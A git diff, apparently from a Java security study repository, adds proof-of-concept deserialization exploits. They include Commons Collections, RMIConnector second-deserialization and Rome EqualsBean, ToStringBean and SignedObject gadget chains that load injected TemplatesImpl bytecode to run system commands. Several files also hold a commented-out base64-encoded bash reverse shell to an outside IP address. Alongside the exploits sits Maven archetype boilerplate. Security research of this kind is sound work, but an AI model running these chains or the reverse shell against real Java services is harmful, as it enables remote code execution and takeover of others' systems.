+ // 使用反射替换transformerChain的transformers
+ Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
+ f.setAccessible(true);
+ f.set(transformerChain, transformers);
+
+ serialize(objMap);
+
+ deserialize("ser.bin");
+ }
+ public static void serialize(Object obj) throws IOException {
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos.writeObject(obj);
+ }
+ public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
+ Object obj = ois.readObject();
+ return obj;
+ }
+
+}
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/Evil.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/Evil.java"
new file mode 100644
index 00000000..6db03202
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/Evil.java"
@@ -0,0 +1,28 @@
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+
+import java.io.IOException;
+
+// 弹计算器的万能类
+public class Evil extends AbstractTranslet {
+ static {
+ try {
+ Runtime.getRuntime().exec("calc");
+ } catch (IOException e){
+ e.printStackTrace();
+ }
+ }
+
+ @Override
+ public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+ }
+
+ @Override
+ public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/RMiConnectorEXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/RMiConnectorEXP.java"
new file mode 100644
index 00000000..14b0aa7f
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/java/RMiConnectorEXP.java"
@@ -0,0 +1,100 @@
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtConstructor;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+
+import javax.management.remote.JMXServiceURL;
+import javax.management.remote.rmi.RMIConnector;
+import java.io.*;
+import java.lang.reflect.Field;
+import java.util.Base64;
+import java.util.HashMap;
+import java.util.Map;
+
+public class RMiConnectorEXP {
+ public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
+ Field field = obj.getClass().getDeclaredField(fieldname);
+ field.setAccessible(true);
+ field.set(obj,value);
+ }
+
+ public static HashMap getObject() throws Exception{
+
+ Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
+ Transformer[] transformers = new Transformer[]{
+ new ConstantTransformer(Runtime.class),
+ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
+ new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
+ new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
+ new ConstantTransformer(1),
+ };
+
+ // 先使用fakeTransformer防止本地命令执行
+ Transformer transformerChain = new ChainedTransformer(fakeTransformers);
+
+ Map innerMap = new HashMap();
+ Map outerMap = LazyMap.decorate(innerMap, transformerChain);
+ TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
+
+ HashMap objMap = new HashMap();
+ objMap.put(tiedMapEntry, "value");
+ outerMap.remove("key");
+
+ // 使用反射替换transformerChain的transformers
+ Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
+ f.setAccessible(true);
+ f.set(transformerChain, transformers);
+
+ return objMap;
+ }
+
+ public static void main(String[] args) throws Exception {
+ ByteArrayOutputStream tser = new ByteArrayOutputStream();
+ ObjectOutputStream toser = new ObjectOutputStream(tser);
+ toser.writeObject(getObject());
+ toser.close();
+
+ String exp= Base64.getEncoder().encodeToString(tser.toByteArray());
+
+ JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
+ setFieldValue(jmxServiceURL, "urlPath", "/stub/"+exp);
+ RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
+
+ InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
+
+ HashMap map = new HashMap();
+ Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
+ TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
+
+ HashMap expMap = new HashMap();
+ expMap.put(tiedMapEntry, "test");
+ lazyMap.remove(rmiConnector);
+
+ setFieldValue(lazyMap,"factory", invokerTransformer);
+
+ //序列化
+ serialize(expMap);
+
+ //反序列化
+ deserialize("ser.bin");
+ }
+
+ public static void serialize(Object obj) throws IOException {
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos.writeObject(obj);
+ }
+
+ public static Object deserialize(String Filename) throws IOException, ClassNotFoundException {
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
+ Object obj = ois.readObject();
+ return obj;
+ }
+
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..fc2ef500
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ RMIConnector
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..29291cb7
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $RMIConnector
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/pom.xml"
new file mode 100644
index 00000000..ffca9eb7
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/pom.xml"
@@ -0,0 +1,39 @@
+
+ 4.0.0
+
+ org.example
+ TwiceDeserialize
+ 1.0-SNAPSHOT
+
+ Rome
+ Archetype - Rome
+ http://maven.apache.org
+
+
+
+ rome
+ rome
+ 1.0
+
+
+ org.apache.commons
+ commons-collections4
+ 4.4
+
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+ 7
+ 7
+
+
+
+
+
+
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/EqualsBeanEXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/EqualsBeanEXP.java"
new file mode 100644
index 00000000..aa22ae55
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/EqualsBeanEXP.java"
@@ -0,0 +1,96 @@
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import com.sun.syndication.feed.impl.EqualsBean;
+import com.sun.syndication.feed.impl.ObjectBean;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtConstructor;
+
+import javax.xml.transform.Templates;
+import java.io.*;
+import java.lang.reflect.Field;
+import java.security.*;
+import java.util.Base64;
+import java.util.HashMap;
+import java.util.Hashtable;
+
+public class EqualsBeanEXP {
+ public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
+ Field field = obj.getClass().getDeclaredField(fieldname);
+ field.setAccessible(true);
+ field.set(obj,value);
+ }
+
+ public static void main(String[] args) throws Exception{
+ byte[] bytes = getTemplatesImpl("Calc");
+
+ TemplatesImpl obj = new TemplatesImpl();
+ setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
+ setFieldValue(obj, "_name", "a");
+ setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
+
+ Hashtable hashtable1 = getPayload(Templates.class, obj);
+
+ KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
+ kpg.initialize(1024);
+ KeyPair kp = kpg.generateKeyPair();
+ SignedObject signedObject = new SignedObject(hashtable1, kp.getPrivate(), Signature.getInstance("DSA"));
+
+ Hashtable hashtable2 = getPayload(SignedObject.class, signedObject);
+
+ serialize(hashtable2);
+
+ //System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
+
+ unserialize("ser.bin");
+ }
+
+ public static Hashtable getPayload (Class clazz, Object payloadObj) throws Exception{
+ EqualsBean bean = new EqualsBean(String.class, "r");
+ HashMap map1 = new HashMap();
+ HashMap map2 = new HashMap();
+ map1.put("yy", bean);
+ map1.put("zZ", payloadObj);
+ map2.put("zZ", bean);
+ map2.put("yy", payloadObj);
+ Hashtable table = new Hashtable();
+ table.put(map1, "1");
+ table.put(map2, "2");
+ setFieldValue(bean, "_beanClass", clazz);
+ setFieldValue(bean, "_obj", payloadObj);
+ return table;
+ }
+
+ public static byte[] getTemplatesImpl(String cmd) {
+ try {
+ ClassPool pool = ClassPool.getDefault();
+ CtClass ctClass = pool.makeClass("Evil");
+ CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
+ ctClass.setSuperclass(superClass);
+ CtConstructor constructor = ctClass.makeClassInitializer();
+ constructor.setBody(" try {\n" +
+ " Runtime.getRuntime().exec(\"" + cmd +
+ "\");\n" +
+ " } catch (Exception ignored) {\n" +
+ " }");
+ // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
+ byte[] bytes = ctClass.toBytecode();
+ ctClass.defrost();
+ return bytes;
+ } catch (Exception e) {
+ e.printStackTrace();
+ return new byte[]{};
+ }
+ }
+
+ public static void serialize(Object obj) throws IOException {
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos.writeObject(obj);
+ }
+
+ public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
+ Object obj = ois.readObject();
+ return obj;
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/RomeEXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/RomeEXP.java"
new file mode 100644
index 00000000..8edf71de
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/RomeEXP.java"
@@ -0,0 +1,82 @@
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import com.sun.syndication.feed.impl.EqualsBean;
+import com.sun.syndication.feed.impl.ToStringBean;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtConstructor;
+import org.apache.commons.collections4.functors.ChainedTransformer;
+import org.apache.commons.collections4.functors.ConstantTransformer;
+
+import javax.xml.transform.Templates;
+import java.io.*;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+
+public class RomeEXP {
+ public static void main(String[] args) throws Exception{
+ TemplatesImpl templates = new TemplatesImpl();
+ setFieldValue(templates,"_name","Drunkbaby");
+ setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
+ Class c = templates.getClass();
+ Field byteCodesField = c.getDeclaredField("_bytecodes");
+ byteCodesField.setAccessible(true);
+ byte[] evil = getTemplatesImpl("Calc");
+ byte[][] codes = {evil};
+ byteCodesField.set(templates,codes);
+// templates.newTransformer();
+ ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
+ EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
+
+ HashMap hashMap = new HashMap();
+ hashMap.put(equalsBean,"123");
+
+ //再改回正常的参数
+ Field field = toStringBean.getClass().getDeclaredField("_obj");
+ field.setAccessible(true);
+ field.set(toStringBean,templates);
+
+ serialize(hashMap);
+ unserialize("ser.bin");
+
+ }
+
+ public static byte[] getTemplatesImpl(String cmd) {
+ try {
+ ClassPool pool = ClassPool.getDefault();
+ CtClass ctClass = pool.makeClass("Evil");
+ CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
+ ctClass.setSuperclass(superClass);
+ CtConstructor constructor = ctClass.makeClassInitializer();
+ constructor.setBody(" try {\n" +
+ " Runtime.getRuntime().exec(\"" + cmd +
+ "\");\n" +
+ " } catch (Exception ignored) {\n" +
+ " }");
+ // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
+ byte[] bytes = ctClass.toBytecode();
+ ctClass.defrost();
+ return bytes;
+ } catch (Exception e) {
+ e.printStackTrace();
+ return new byte[]{};
+ }
+ }
+
+ public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
+ Class clazz = object.getClass();
+ Field field = clazz.getDeclaredField(fieldName);
+ field.setAccessible(true);
+ field.set(object,value);
+ }
+ public static void serialize(Object obj) throws IOException {
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos.writeObject(obj);
+ }
+
+ public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
+ Object obj = ois.readObject();
+ return obj;
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/SignedObjectEXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/SignedObjectEXP.java"
new file mode 100644
index 00000000..7d9d9d48
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/SignedObjectEXP.java"
@@ -0,0 +1,92 @@
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import com.sun.syndication.feed.impl.EqualsBean;
+import com.sun.syndication.feed.impl.ToStringBean;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtConstructor;
+import org.apache.commons.collections4.functors.ChainedTransformer;
+import org.apache.commons.collections4.functors.ConstantTransformer;
+
+import javax.xml.transform.Templates;
+import java.io.*;
+import java.lang.reflect.Field;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.Signature;
+import java.security.SignedObject;
+import java.util.HashMap;
+
+public class SignedObjectEXP {
+ public static void main(String[] args) throws Exception{
+ TemplatesImpl templates = new TemplatesImpl();
+ setFieldValue(templates,"_name","Drunkbaby");
+ setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
+ Class c = templates.getClass();
+ Field byteCodesField = c.getDeclaredField("_bytecodes");
+ byteCodesField.setAccessible(true);
+ byte[] evil = getTemplatesImpl("Calc");
+ byte[][] codes = {evil};
+ byteCodesField.set(templates,codes);
+// templates.newTransformer();
+ ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
+ EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
+
+ HashMap hashMap = new HashMap();
+ hashMap.put(equalsBean,"123");
+
+ //再改回正常的参数
+
+ Field field = toStringBean.getClass().getDeclaredField("_obj");
+ field.setAccessible(true);
+ field.set(toStringBean,templates);
+
+ KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
+ kpg.initialize(1024);
+ KeyPair kp = kpg.generateKeyPair();
+ SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
+
+ serialize(hashMap);
+ unserialize("ser.bin");
+
+ }
+
+ public static byte[] getTemplatesImpl(String cmd) {
+ try {
+ ClassPool pool = ClassPool.getDefault();
+ CtClass ctClass = pool.makeClass("Evil");
+ CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
+ ctClass.setSuperclass(superClass);
+ CtConstructor constructor = ctClass.makeClassInitializer();
+ constructor.setBody(" try {\n" +
+ " Runtime.getRuntime().exec(\"" + cmd +
+ "\");\n" +
+ " } catch (Exception ignored) {\n" +
+ " }");
+ // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
+ byte[] bytes = ctClass.toBytecode();
+ ctClass.defrost();
+ return bytes;
+ } catch (Exception e) {
+ e.printStackTrace();
+ return new byte[]{};
+ }
+ }
+
+ public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
+ Class clazz = object.getClass();
+ Field field = clazz.getDeclaredField(fieldName);
+ field.setAccessible(true);
+ field.set(object,value);
+ }
+ public static void serialize(Object obj) throws IOException {
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos.writeObject(obj);
+ }
+
+ public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
+ Object obj = ois.readObject();
+ return obj;
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/ToStringBeanEXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/ToStringBeanEXP.java"
new file mode 100644
index 00000000..9ee2cf1b
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/ToStringBeanEXP.java"
@@ -0,0 +1,88 @@
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import com.sun.syndication.feed.impl.EqualsBean;
+import com.sun.syndication.feed.impl.ObjectBean;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtConstructor;
+
+import javax.xml.transform.Templates;
+import java.io.*;
+import java.lang.reflect.Field;
+import java.security.*;
+import java.util.Base64;
+import java.util.HashMap;
+
+public class ToStringBeanEXP {
+ public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
+ Field field = obj.getClass().getDeclaredField(fieldname);
+ field.setAccessible(true);
+ field.set(obj,value);
+ }
+
+ public static void main(String[] args) throws Exception{
+ byte[] bytes = getTemplatesImpl("Calc");
+
+ TemplatesImpl obj = new TemplatesImpl();
+ setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
+ setFieldValue(obj, "_name", "a");
+ setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
+
+ HashMap hashMap1 = getpayload(Templates.class, obj);
+
+ KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
+ kpg.initialize(1024);
+ KeyPair kp = kpg.generateKeyPair();
+ SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
+
+ HashMap hashMap2 = getpayload(SignedObject.class, signedObject);
+
+ serialize(hashMap2);
+
+ //System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
+
+ unserialize("ser.bin");
+ }
+
+ public static HashMap getpayload(Class clazz, Object obj) throws Exception {
+ ObjectBean objectBean = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "rand"));
+ HashMap hashMap = new HashMap();
+ hashMap.put(objectBean, "rand");
+ ObjectBean expObjectBean = new ObjectBean(clazz, obj);
+ setFieldValue(objectBean, "_equalsBean", new EqualsBean(ObjectBean.class, expObjectBean));
+ return hashMap;
+ }
+
+ public static byte[] getTemplatesImpl(String cmd) {
+ try {
+ ClassPool pool = ClassPool.getDefault();
+ CtClass ctClass = pool.makeClass("Evil");
+ CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
+ ctClass.setSuperclass(superClass);
+ CtConstructor constructor = ctClass.makeClassInitializer();
+ constructor.setBody(" try {\n" +
+ " Runtime.getRuntime().exec(\"" + cmd +
+ "\");\n" +
+ " } catch (Exception ignored) {\n" +
+ " }");
+ // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
+ byte[] bytes = ctClass.toBytecode();
+ ctClass.defrost();
+ return bytes;
+ } catch (Exception e) {
+ e.printStackTrace();
+ return new byte[]{};
+ }
+ }
+
+ public static void serialize(Object obj) throws IOException {
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
+ oos.writeObject(obj);
+ }
+
+ public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
+ Object obj = ois.readObject();
+ return obj;
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..bfa18053
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ Rome
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..a0709e40
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $Rome
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/pom.xml"
new file mode 100644
index 00000000..196f0702
--- /dev/null
+++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/pom.xml"
